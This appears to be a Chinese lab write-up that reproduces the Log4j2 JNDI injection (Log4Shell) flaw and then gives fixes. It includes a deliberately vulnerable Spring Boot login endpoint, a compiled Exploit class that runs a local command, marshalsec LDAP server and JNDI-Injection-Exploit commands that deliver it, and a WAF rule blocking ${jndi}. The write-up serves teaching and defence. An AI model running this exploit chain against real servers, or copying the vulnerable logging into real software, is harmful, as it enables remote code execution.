实验环境

Windows 10
jdk 1.8.181(理论上JDK 6u211、7u201、8u191之前的版本都⾏)
Tomcat v9.0
marshalsec
JNDI-Injection-Exploit

漏洞原理

为了输出日志时能够方便地输出任意位置的java对象,Log4j2引入了一个叫Lookup的统一接口。这个接口允许在写日志的时候,按照具体的实现逻辑去查找对象的位置,并输出对象的内容。这里的对象通常在内存中,但由于java支持对象的序列化/反序列化,它也可以存储在硬盘文件里,甚至是远程服务器上。

JNDI就是对Lookup接口的一种实现。其本身也是一个接口,提供了命名关键字到对象的映射目录,允许开发者提供一个名称,即可获取到对象的内容。LDAP,即轻量级目录访问协议,是JNDI的一种底层实现,它可以让我们方便的查询分布式数据库。既然是分布式的,LDAP允许从远程服务器加载对象。而这里加载对象时使用的不是一般的反序列化方法,而是通过「命名引用」功能,支持直接从远程下载class文件并加载对象。

于是,Log4j2中就暗含了注入漏洞:允许传入参数解析为LDAP协议,从远程服务器下载class文件并执行。这个功能本来是为了方便开发,使java对象位置对上层应用透明,却不料酿成大祸。

漏洞分析

在受影响版本中,攻击者可以利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码,从而获取目标服务器的控制权限。

该漏洞的POC在11月底被安全研究人员发布,12月8日网络上出现该漏洞POC。安天CERT分析人员对该漏洞以及已公开的POC进行分析,在Log4j 2组件的版本低于2.15 RC2的情况下均能成功执行任意代码,通过POC可以成功获得受害服务器返回的连接。

漏洞描述

Apache Log4j2是一个基于Java的日志记录工具。Log4j是几种Java日志框架之一。该项目在Apache接手后进行了代码重构,解决了框架中的架构问题并在Log4j中提供了一个插件架构,这使其更具扩展性。用户可以更为精确的对日志进行细粒度的控制,支持将日志信息发送到服务器、写入到文件或是发送给GUI组件等,通过定义日志信息的级别、输出格式,发送参数来对日志进行更完善的管理。

Log4j 2.X中采用了LDAP的简单目录服务结构进行日志的查询。在进行递归查询时,JNDI方法在处理查询参数的过程中存在注入漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码。

该漏洞的POC在11月底被安全研究人员发布,12月8日网络上出现该漏洞POC。该漏洞影响范围非常广泛,目前无法准确统计受影响的具体资产和组件的数量。安天CERT建议通过Apache官方升级页面下载对应的升级包对存在该漏洞的组件进行升级以修复该漏洞。对于无法进行升级的用户可以采用缓解措施进行暂时防御。

环境搭建

jdk 安装

下载指定版本的jdk,双击安装即可,如图即为安装成功:

maven安装

$ git clone https://github.com/mbechler/marshalsec.git
$ cd marshalsec
$ mvn clean package -DskipTests

新建⼀个系统变量,名字为MAVEN_HOME,内容为安装⽬录,如图为安装成功:

实验过程

启动一个 SpringBoot JavaWeb 项目 添加log4j

到 pom 文件添加一个 log4j core 和 log4j api

简单写两个访问接口

HelloController.java

package com.example.demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;

import java.util.Map;

@RestController
public class HelloController {

    private Logger logger = LogManager.getLogger(HelloController.class);

    @RequestMapping("/hello")
    public String hello(){
        return "hello";
    }

    @RequestMapping(value = "/login", method = {RequestMethod.POST})
    public String login(@RequestBody Map body) {

        String user = body.get("user").toString();
        String password = body.get("password").toString();

        logger.error("user:{}, password:{}", user, password);

        return "login";
    }
}

可以成功访问

写一个注入的 Java 文件 并编译为 class 文件

Expolit.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;

public class Exploit {
    public Exploit() {
        try {
            Runtime.getRuntime().exec("calc ");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

    }

    public static void main(String[] args) {
        new Exploit();
    }
}

本地开启一个 http 服务运行上面的 class 文件

启动 marshalsec 服务

git clone https://github.com/mbechler/marshalsec

git clone https://github.com/mbechler/marshalsec` 



#java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 10086

漏洞验证

post 传入 json 格式的 payload

使用 JNDI-Injection-Exploit

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程class文件中要执行的命令。 (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
  • -A - 服务器地址,可以是IP地址或者域名。 (可选项 , 默认地址是第一个网卡地址)

注意:

  • 要确保 109913898180端口可用,不被其他程序占用。 或者你也可以在run.ServerStart类26~28行更改默认端口。
  • 命令会被作为参数传入Runtime.getRuntime().exec(), 所以需要确保命令传入exec()方法可执行。 bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c …"

漏洞验证

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc " -A "127.0.0.1"

修复加固方案

方案一

此方式直接升级版本来解决,升级到安全版本(2.17.0)即可。我们引入安全版本依赖后,也要在starter-web启动器依赖里把Spring Boot自带的log依赖要排除掉(所谓铲草除根),因为Spring Boot封装的Apache Log4j2依赖暂时还没是最新版本,使用它可能会出现漏洞。

原依赖(存在漏洞的):

<!-- 引入log4j2依赖 -->  
<dependency> 
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-log4j2</artifactId>  
</dependency>

解决依赖1:

<!-- 安全版本 2.17.0版本(Apache 原版的log依赖) --> 
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
        </exclusion>
        <exclusion>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version>
</dependency>
<!-- 去掉springboot默认配置 --> 
<dependency>  
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-web</artifactId>  
    <exclusions><!-- 去掉springboot默认配置 -->  
        <exclusion>  
            <groupId>org.springframework.boot</groupId>  
            <artifactId>spring-boot-starter-logging</artifactId>  
        </exclusion>  
    </exclusions>  
</dependency> 

解决依赖2:

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<!-- 安全版本 2.17.0版本(Apache 原版的log依赖) --> 
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version>
</dependency>
<dependency>
     <groupId>org.apache.logging.log4j</groupId>
     <artifactId>log4j-api</artifactId>
     <version>2.17.0</version>
</dependency>
<!-- 去掉springboot默认配置 --> 
<dependency>  
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-web</artifactId>  
    <exclusions><!-- 去掉springboot默认配置 -->  
        <exclusion>  
            <groupId>org.springframework.boot</groupId>  
            <artifactId>spring-boot-starter-logging</artifactId>  
        </exclusion>  
    </exclusions>  
</dependency> 

升级到安全版本后,刷新Maven

方案二

此方式通过部署方式和配置来临时解决漏洞,具体解决如下:

  1. 在jvm启动参数中添加 -Dlog4j2.FORMATMsgNoLookups=true;
  2. 系统环境变量中配置 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true;
  3. 项目中创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true;
  4. 采用 rasp 对 lookup 的调用进行阻断;
  5. 采用 waf 对请求流量中的 ${jndi} 进行拦截;
  6. 禁止不必要的业务访问外网。


本网站博主